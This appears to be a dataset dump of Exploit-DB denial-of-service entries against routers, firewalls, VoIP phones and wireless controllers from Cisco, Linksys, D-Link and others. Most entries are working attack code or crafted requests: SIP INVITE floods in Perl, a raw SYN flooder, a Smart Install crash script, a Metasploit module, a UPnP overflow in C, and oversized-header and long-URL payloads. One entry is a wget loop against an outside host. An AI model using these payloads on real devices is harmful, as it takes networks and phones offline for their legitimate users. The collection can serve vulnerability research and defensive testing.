deardaniel/secdata-raw huggingface dataset:
Exploit-DB #38493
Description: Cisco Linksys WRT310N Router - Multiple Denial of Service Vulnerabilities
Type: dos
Platform: hardware
Date: 2013-04-23
Author: Carl Benedict

Exploit:
source: https://www.securityfocus.com/bid/59445/info

The Cisco Linksys WRT310N Router is prone to multiple denial-of-service vulnerabilities when handling specially crafted HTTP requests.

Successful exploits will cause the device to crash, denying service to legitimate users. 

http://www.example.com/apply.cgi?pptp_dhcp=0&submit_button=index&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&lan_ipaddr=4&wait_time=0&need_reboot=0&dhcp_check=&lan_netmask_0=&lan_netmask_1=&lan_netmask_2=&lan_netmask_3=&timer_interval=30&language=EN&wan_proto=dhcp&wan_hostname=&wan_domain=&mtu_enable=0&lan_ipaddr_0=192&lan_ipaddr_1=168&lan_ipaddr_2=1&lan_ipaddr_3=1&lan_netmask=255.255.255.0&url_address=my.wrt310n&lan_proto=dhcp&dhcp_start=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&wan_wins_2=0&wan_wins_3=AAAAAAAAAAAAAAAAAAA&time_zone=-08+1+1&_daylight_time=1
Exploit-DB #4692
Description: Cisco Phone 7940 - Remote Denial of Service
Type: dos
Platform: hardware
Date: 2007-12-05
Author: MADYNES

Exploit:
#!/usr/bin/perl
 

###############################
# Vulnerabily discovered using KiF ~ Kiph
#
# Authors:
# Humberto J. Abdelnur (Ph.D Student)
# Radu State (Ph.D)
# Olivier Festor (Ph.D)
#
# Madynes Team, LORIA - INRIA Lorraine
# http://madynes.loria.fr
############################### 
use IO::Socket::INET;
use String::Random; 
die "Usage $0 <targetIP> <targetUser> <attackerIP> <attackerUser>"
unless ($ARGV[3]); 
$targetUser = $ARGV[1];
$targetIP = $ARGV[0]; 
$attackerUser = $ARGV[3];
$attackerIP= $ARGV[2]; 
$socket=new IO::Socket::INET->new(
Proto=>'udp',
PeerPort=>5060,
PeerAddr=>$targetIP,
LocalPort=>5060); 
$foo = new String::Random; 
$flag = 0;
@calls;
$threads = 0; 
while ($flag == 0){
$callid= " " . $foo->randpattern("CCCnccnC") ."\@$attackerIP";
$cseq = $foo->randregex('\d\d\d\d'); 
$msg = "INVITE sip:$targetIP SIP/2.0\r
Via: SIP/2.0/UDP $attackerIP;branch=z9hG4bK1\r
From: <sip:$attackerUser\@$attackerIP>;tag=1\r
To: <sip:$targetUser\@$targetIP>\r
Call-ID:$callid\r
CSeq: $cseq INVITE\r
Max-Forwards: 70\r
Contact: <sip:$attackerUser\@$attackerIP>\r
Allow: INVITE, ACK, CANCEL, BYE, OPTIONS, REFER, SUBSCRIBE, NOTIFY,
MESSAGE\r
Content-Length: 0\r
\r
";
$socket->send($msg); 
$socket->recv($text,1024,0);
if ($text =~ /^SIP\/2.0 100(.\r\n)*/ ){
push(@calls, $callid);
sleep(1);
}elsif ($text =~ /^SIP\/2.0 486(.\r\n)*/ ){
if ($thread == 0){
$thread = scalar(@calls);
}
while (scalar(@calls) ge $thread){
$toTag = $cseq= $callid= $text;
$toTag =~ s/^(.*\r\n)*(To|t):(.*?>)(;.*?)?\r\n(.*\r\n)*/\4/;

$callid =~ s/^(.*\r\n)*Call-ID:(.*)\r\n(.*\r\n)*/\2/;
$cseq =~ s/^(.*\r\n)*CSeq: (.*?) (.*?)\r\n(.*\r\n)*/\2/; 
$msg = "ACK sip:$targetIP SIP/2.0\r
Via: SIP/2.0/UDP $attackerIP;branch=z9hG4bK1\r
From: <sip:$attackerUser\@$attackerIP>;tag=1\r
To: <sip:$targetUser\@$targetIP>$toTag\r
Call-ID:$callid\r
CSeq: $cseq ACK\r
Contact: <sip:$attackerUser\@$attackerIP>\r
Content-Length: 0\r
\r
";
$socket->send($msg);
$i= 0;
while ($i < scalar(@calls)){
if (@calls[$i] eq $callid){
delete @calls[$i];
}else{
$i += 1;
}
}
if (scalar(@calls) ge $thread){
$socket->recv($text,1024,0);
}
}
}
}

# milw0rm.com [2007-12-05]
Exploit-DB #3526
Description: Cisco Phone 7940/7960 - 'SIP INVITE' Remote Denial of Service
Type: dos
Platform: hardware
Date: 2007-03-20
Author: MADYNES

Exploit:
#!/usr/bin/perl
# Title: Cisco 7940 SIP INVITE remote DOS 
# Date: February 19, 2007 
# ID: KIPH2 
#
# Synopsis: After sending a cra fted INVITE message the device immediately 
# reboots. The phone does not check properly the sipURI field of the 
# Remote-Party-ID in the message. 
#
# The vendor was informed and acknowledged the vulnerability. This 
# vulnerability was identified by the Madynes research team at INRIA 
# Lorraine, using the Madynes VoIP fuzzer. 
#
# Background: SIP is the IETF standardized (RFCs 2543 and 3261) protocol 
# for VoIP signalization. SIP is an ASCII based INVITE message is used to 
# initiate and maintain a communication session. 
#
# Affected devices: Cisco phone 7940/7960 running firmware P0S3-07-4-00 
#
# Unaffected: devices running firmware POS8-6-0 
#
# Description: After receiving one crafted SIP INVITE message, the 
# affected device reboots immediately. The proof of concept code can be 
# used to demonstrate the vulnerability. 
#
# Resolution: 
#
# Fixed software is available from the vendor and customers following 
# recommended best practices (ie segregating VOIP traffic from data) will 
# be protected from malicious traffic in most situations. 
#
# Credits: 
#
# Humberto J. Abdelnur (Ph.D Student) 
#
# Radu State (Ph.D) 
#
# Olivier Festor (Ph.D) 
#
# This vulnerability was identified by the Madynes research team at INRIA 
#
# Lorraine, using the Madynes VoIP fuzzer. 
#
# http://madynes.loria.fr/ 

use IO::Socket::INET;

die "Usage $0 <dst> <port> <username>" unless ($ARGV[2]);


$socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1],

Proto=>'udp',

PeerAddr=>$ARGV[0]);


$msg="INVITE sip:$ARGV[2]\@$ARGV[0] SIP/2.0\r\nVia: SIP/2.0/UDP
192.168.1.2;branch=z9hG4jk\r\nFrom: sip:chirimolla
\@192.168.1.2;tag=qwzng\r\nTo: <sip:$ARGV[2]\@$ARGV[0];user=ip>\r
\nCall-ID: fosforito\@192.168.1.1\r\nCSeq: 921 INVITE\r
\nRemote-Party-ID: csip:7940-1\@192.168.\xd1.7\r\n\r\n";

$socket->send($msg);

# milw0rm.com [2007-03-20]
Exploit-DB #1338
Description: Cisco PIX - Spoofed TCP SYN Packets Remote Denial of Service
Type: dos
Platform: hardware
Date: 2005-11-23
Author: Janis Vizulis

Exploit:
# The easy way by logic logidev@gmail.com (line 2) untested /str0ke
# hping -c 1 -S -s 31337 -k -b -p 22 10.0.xx.xxx

#!/usr/bin/perl
eval ("use Getopt::Long;");die "[error] Getopt::Long perl module is not installed \n" if $@;
eval ("use Net::RawIP;");die "[error] Net::RawIP perl module is not installed \n" if $@;
eval ("use Term::ProgressBar;");
die "[error] Term::ProgressBar perl module is not installed \n" if $@;
my $VERSION = "0.1";
print "$0, $PgmName, V $VERSION \n";
GetOptions ( 
"help" =>\$usage,
"device=s" => \$device, 
"source=s" =>\$sourceip,
"dest=s"=>\$destip,
"sourcemac=s"=>\$sourcemac,
"destmac=s"=>\$destmac,
"port=n"=> \$tcpport,
);

######################## Config option ####################

my $timeout = "0,1"; # Timeout

if ($usage) {&usage;} 

if (!$device) {
$device= 'eth0'; # Network device
}

if (!$destmac) {print "Dest MAC not found \n"; &usage;}
if (!$sourceip) {print "Source IP not found \n"; &usage;}
if (!$destip) {print "Dest IP not found \n"; &usage;}
if (!$tcpport) {print "TCP port not found \n"; &usage;}

my $syn="1"; # TCP SYN SET
my $tcpdata = "TEST"; # TCP payload
my $count=0;

######################################################

#Initialize Progres Bar 
my $progress = Term::ProgressBar->new(32768);
$progress->minor(0);
$packet = new Net::RawIP;
$packet-> ethnew($device);


if (!$sourcemac) {
$packet -> ethset( dest => $destmac);
}else { 
$packet -> ethset( source =>$sourcemac, dest => $destmac);
}



for ($count=0; $count< 65537 ; $count++) {

$packet->set({

ip => {
saddr => $sourceip,
daddr => $destip 
},

tcp => {
check => 0x0010 , # TCP Packet Checksum 0 for auto correct
source => $count,
dest => $tcpport,
syn => $syn,
data => $tcpdata
}});
$packet->ethsend($timeout);
#$packet->send($timeout);

$progress->update($_);
$count++;
}

sub usage {
print <<EOF ;
This program was originally written in the due course of writing
"Hacking Exposed Cisco Networks: Cisco Security Secrets and Solutions" book.
Tool author - Janis Vizulis, Arhont Ltd. (License GPL-2 ) Please send bugs 
and comments to info@arhont.com 

usage: $0 [ --device=interface ] [--source=IP] [--dest=IP] [--sourcemac=MAC]
[--destmac=MAC] [--port=n]

Options:

--help This message
--device Network interface (defaut set eth0)
--source Victim source IP
--dest Victim destination IP
--sourcemac Victim source MAC
--destmac MAC Address of the gateway
--port TCP port 

Example: ./pixdos.pl --device eth0 --source 192.168.44.10 --dest 192.168.55.111 \
--sourcemac 00:90:27:99:11:b6 --destmac 00:60:27:99:11:b6 --port 22 
EOF

exit shift;
}

# milw0rm.com [2005-11-23]
Exploit-DB #20734
Description: Cisco PIX 4.x/5.x TACACS+ - Denial of Service
Type: dos
Platform: hardware
Date: 2001-04-06
Author: Claudiu Calomfirescu

Exploit:
source: https://www.securityfocus.com/bid/2551/info

PIX is an enterprise firewall engineered and maintained by Cisco Systems. It is designed to provide robust features and multiple methods of access control and filtering.

A problem with the PIX could allow a denial of service. PIX firewalls using TACACS+ are vulnerable to a resource starvation attack which results in a denial of service. Upon receiving multiple requests for TACACS+ authentication from an unauthorized user, the firewalls resources can be exhausted. This causes the firewall to crash, requiring power cycling to resume regular service.

This makes it possible for a user from either the public or private side of the PIX to crash the firewall, and deny service to legitimate users.

All PIX Firewalls having configuration lines beginning with the following line are affected:
pixfirewall# aaa authentication

Any configurations not including aaa authentication are not affected. 

while (true); do (wget http://external.system 2>/dev/null &); done
Exploit-DB #44451
Description: Cisco Smart Install - Crash (PoC)
Type: dos
Platform: hardware
Date: 2018-03-29
Author: embedi

Exploit:
# smi_ibc_init_discovery_BoF.py

import socket 
import struct 
from optparse import OptionParser 

# Parse the target options 
parser = OptionParser() 
parser.add_option("-t", "--target", dest="target", help="Smart Install Client", default="192.168.1.1")  parser.add_option("-p", "--port", dest="port", type="int", help="Port of Client", default=4786)  (options, args) = parser.parse_args() 

def craft_tlv(t, v, t_fmt='!I', l_fmt='!I'): 
    return struct.pack(t_fmt, t) + struct.pack(l_fmt, len(v)) + v 

def send_packet(sock, packet): 
    sock.send(packet)   

def receive(sock):  
    return sock.recv() 

if __name__ == "__main__": 

    print "[*] Connecting to Smart Install Client ", options.target, "port", options.port 

    con = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
    con.connect((options.target, options.port)) 

    payload = 'BBBB' * 44  shellcode = 'D' * 2048 

    data = 'A' * 36 + struct.pack('!I', len(payload) + len(shellcode) + 40) + payload 

    tlv_1 = craft_tlv(0x00000001, data)  tlv_2 = shellcode 

    hdr =  '\x00\x00\x00\x01'                                   # msg_from
    hdr += '\x00\x00\x00\x01'                                   # version
    hdr += '\x00\x00\x00\x07'                                   # msg_hdr_type
    hdr += struct.pack('>I', len(data))                         # data_length

    pkt = hdr + tlv_1 + tlv_2 

    print "[*] Send a malicious packet"  
    send_packet(con, pkt)
Exploit-DB #47744
Description: Cisco WLC 2504 8.9 - Denial of Service (PoC)
Type: dos
Platform: hardware
Date: 2019-12-04
Author: SecuNinja

Exploit:
# Exploit Title: Cisco WLC 2504 8.9 - Denial of Service (PoC)
# Google Dork: N/A
# Date: 2019-11-25
# Exploit Author: SecuNinja
# Vendor Homepage: cisco.com
# Software Link: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20191106-wlc-dos
# Version: 8.4 to 8.9
# Tested on: not applicable, works independent from OS
# CVE : CVE-2019-15276

# Exploit PoC:

https://WLCIPorHostname/screens/dashboard.html#/RogueApDetail/00:00:00:00:00:00">'><img src="xxxxx">

# Firing this code will cause the system to reload which results in a DoS condition.
Exploit-DB #9268
Description: Cisco WLC 4402 - Basic Auth Remote Denial of Service (Metasploit)
Type: dos
Platform: hardware
Date: 2009-07-27
Author: Christoph Bott

Exploit:
require 'msf/core'


class Metasploit3 < Msf::Auxiliary

        include Msf::Exploit::Remote::Tcp
        include Msf::Auxiliary::Dos

        def initialize(info = {})
                super(update_info(info,
                        'Name'           => 'Cisco WLC 4200 Basic Auth Denial of Service',
                        'Description'    => %q{

                                This module triggers a Denial of Service condition in the Cisco WLC 4200
                                HTTP server. By sending a GET request with long authentication data, the
                                device becomes unresponsive and reboots.  Firmware is reportedly vulnerable.
                        },
                        'Author'                => [ 'Christoph Bott <msf[at]bott.syss.de>' ],
                        'License'        => MSF_LICENSE,
                        'Version'        => '$Revision: 5949 $',
                        'References'     =>
                                [
                                        [ 'BID', '???'],
                                        [ 'CVE', '???'],
                                        [ 'URL', 'http://www.cisco.com/?????'],
                                ],
                        'DisclosureDate' => 'January 26 2009'))

                register_options(
                        [
                                Opt::RPORT(80),
                        ], self.class)

        end

        def run
                connect

                print_status("Sending HTTP DoS packet")

                sploit =
                        "GET /screens/frameset.html HTTP/1.0\r\n" +
                        "Authorization: Basic MTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIzNDoxMjM0NTY3ODkwMTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0"

                sock.put(sploit + "\r\n")

                disconnect
        end

end

# milw0rm.com [2009-07-27]
Exploit-DB #363
Description: Conceptronic CADSLR1 Router - Denial of Service
Type: dos
Platform: hardware
Date: 2004-07-22
Author: Seth Alan Woolley

Exploit:
$ $victima="ip.victim"
$ perl -e 'print "GET / HTTP/1.1\r\nHost: '"$victima"'\r\nAuthorization: 
Basic " . 'A' x 65536 . "\r\n\r\n"' | nc -vvn $victima 80 

# milw0rm.com [2004-07-22]
Exploit-DB #41537
Description: Conext ComBox 865-1058 - Denial of Service
Type: dos
Platform: hardware
Date: 2017-03-02
Author: Mark Liapustin & Arik Kublanov

Exploit:
#Exploit Title: Conext ComBox - Denial of Service (HTTP-POST)
#Description: The exploit cause the device to self-reboot, constituting a denial of service.
#Google Dork: "Conext ComBox" + "JavaScript was not detected" /OR/ "Conext ComBox" + "Recover Lost Password"
#Date: March 02, 2017
#Exploit Author: Mark Liapustin & Arik Kublanov
#Vendor Homepage: http://solar.schneider-electric.com/product/conext-combox/
#Software Link: http://cdn.solar.schneider-electric.com/wp-content/uploads/2016/06/conext-combox-data-sheet-20160624.pdf
#Version: All firmware versions prior to V3.03 BN 830
#Tested on: Windows and Linux
#CVE: CVE-2017-6019

# Use this script with caution!
# Mark Liapustin: https://www.linkedin.com/in/clizsec/
# Arik Kublanov: https://www.linkedin.com/in/arik-kublanov-57618a64/
# =========================================================
import subprocess
import os
import sys
import time
import socket
# =========================================================

print 'Usage: python ComBoxDos.py IP PORT'
print 'Number of arguments:', len(sys.argv), 'arguments.'
print 'Argument List:', str(sys.argv)

print "ComBox Denial of Service via HTTP-POST Request"
global cmdosip
cmdosip = str(sys.argv[1])
port = int(sys.argv[2])
print "[!] The script will cause the Conext ComBox device to crash and to reboot itself."
		
print "Executing...\n\n\n"
for i in range(1, 1000):
  try:
	cmdosdir = "login.cgi?login_username=Nation-E&login_[CREDENTIAL_REDACTED]=Log+In"
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((cmdosip, port))
	print "[+] Sent HTTP POST Request to: " + cmdosip + " with /" + cmdosdir + " HTTP/1.1"
	s.send("POST /" + cmdosdir + " HTTP/1.1\r\n")
	s.send("Host: " + cmdosip + "\r\n\r\n")
	s.close()
  except: 
     pass
Exploit-DB #2059
Description: D-Link Devices - UPNP Stack Overflow Denial of Service (PoC)
Type: dos
Platform: hardware
Date: 2006-07-22
Author: ub3rst4r

Exploit:
/* routers affected from eEye's advisory. /str0ke
Routers Affected:
DI-524 Rev A
DI-524 Rev C
DI-524 Rev D
DI-604 Rev E
DI-624 Rev C
DI-624 Rev D
DI-784 Rev A
EBR-2310 Rev A
WBR-1310 Rev A
WBR-2310 Rev A
*/

/*
 * D-Link Router UPNP DOS PoC
 * Written By: ub3rst4r aka DiGiTALST*R
 * Tested Against: DI-524 Rev. A
 *
 * A remote stack overflow exists in a range of wired and wireless D-Link 
 * routers. This vulnerability allows an attacker to execute privileged code
 * on an affected device. Although a stack overflow does exist, debugging this 
 * vulnerabilty requires additional external hardware.
 * 
 * NOTE: You might need to try sending this twice, or use 239.255.255.250
 *
 * Credits: eEye Digital Security
 *
 */

#include <stdio.h>
#include <windows.h>
#pragma comment(lib,"ws2_32")

int main(int argc, char **argv)
{
    WSADATA wsa;

    char buf[896];
    
    int sockfd;
    struct sockaddr_in serv_addr;

    int ret;
    
    if (argc < 2) {
        printf("Usage: dlinkdos <router ip>\n");
        return 0;
    }
    
    WSAStartup(MAKEWORD(1,1), &wsa);

    // the main string
    memcpy(buf, "M-SEARCH ", 9);
    memset(buf+9, 'A', 800);
    memcpy(buf+809, " HTTP/1.1\r\n", 10);
    
    // extra data
    strcat(buf,
        "Host:239.255.255.250:1900\r\n"
        "ST:upnp:rootdevice\r\n"
        "Man:\"ssdp:discover\"\r\n"
        "MX:3\r\n"
        "\r\n"
        "\r\n");

    sockfd = socket(AF_INET, SOCK_DGRAM, 0);
    
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_port = htons(1900);
    serv_addr.sin_addr.s_addr = inet_addr(argv[1]);
    memset(&serv_addr.sin_zero, '\0', 8);
                     
    ret = sendto(sockfd,buf,sizeof(buf),0,(struct sockaddr *)&serv_addr, sizeof(struct sockaddr));
    if (ret <= 0) {
        printf("failed to send request\n");
        return 0;
    } 
    
    printf("request sent!\n");
    
    WSACleanup();
    
    return 0;
}

// milw0rm.com [2006-07-22]
Exploit-DB #22991
Description: D-Link DI-704P - Long URL Denial of Service
Type: dos
Platform: hardware
Date: 2003-08-06
Author: chris@cr-secure.net

Exploit:
source: https://www.securityfocus.com/bid/8355/info

D-Link DI-704P has been reported prone to a remote denial of service vulnerability. 

The issue presents itself when a request of excessive length is sent to the router. This causes the device to behave in an unstable manner. 

Malicious requests may result in a complete denial of service condition requiring a device reboot, or the loss of the ability to log in to the administration interface.

Although unconfirmed, it should be noted that other D-Link devices that use related firmware might also be affected.

To disable the device entirely:

http://68.x.x.x:8080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA

To prevent administration of the device from functioning:

wget
http://192.168.0.1/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
Exploit-DB #22647
Description: D-Link DI-704P - Syslog.HTM Denial of Service
Type: dos
Platform: hardware
Date: 2003-05-26
Author: Chris R

Exploit:
source: https://www.securityfocus.com/bid/7686/info

D-Link DI-704P has been reported prone to a remote denial of service vulnerability.

The issue presents itself in a D-Link web interface page. It has been reported that when excessive is data passed URI parameter in a request for the vulnerable page, the router firmware the device behaves in an unstable manner.

Subsequent malicious requests may result in a complete denial of service condition requiring a device reboot, or in corruption of device logs.

Although unconfirmed, it should be noted that other D-Link devices that use related firmware might also be affected. 

http://192.168.0.1/syslog.htm?
D=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

and

http://192.168.0.1/syslog.htm?
D=.........................................................................
...........................................................................
...........................................................................
...........................................................................
...........................................................................
...........................................................................
...........................................................................
...........................................................................
...........................................................................
...........................................................................
....................
Exploit-DB #43147
Description: D-Link DIR-605L < 2.08 - Denial of Service
Type: dos
Platform: hardware
Date: 2017-11-14
Author: Enrique Castillo

Exploit:
# Exploit Title: D-Link DIR605L <=2.08 Denial of Service via HTTP GET (CVE-2017-9675)
# Date: 2017-11-14
# Exploit Author: Enrique Castillo
# Contact: https://twitter.com/_hyperlogic
# Detailed Analysis: http://hypercrux.com/bug-report/2017/06/19/DIR605L-DoS-BugReport/
# Vendor Homepage: http://us.dlink.com/
# Software Link: specific version no longer available on vendor site
# Version: 2.08UI and prior
# CVE : CVE-2017-9675
# Tested on Linux
###
# Description: Firmware versions 2.08UI and lower contain a bug in the function that handles HTTP GET requests for 
# directory paths that can allow an unauthenticated attacker to cause complete denial of service (device reboot). This bug can be triggered 
# from both LAN and WAN.
###
#!/usr/bin/env bash
# usage: ./sploit.sh <router_ip>
ROUTER=$1

if [ "$#" -ne 1 ]; then
    echo "usage: $0 <router_ip>"
    exit
fi
    
curl http://$ROUTER/Tools/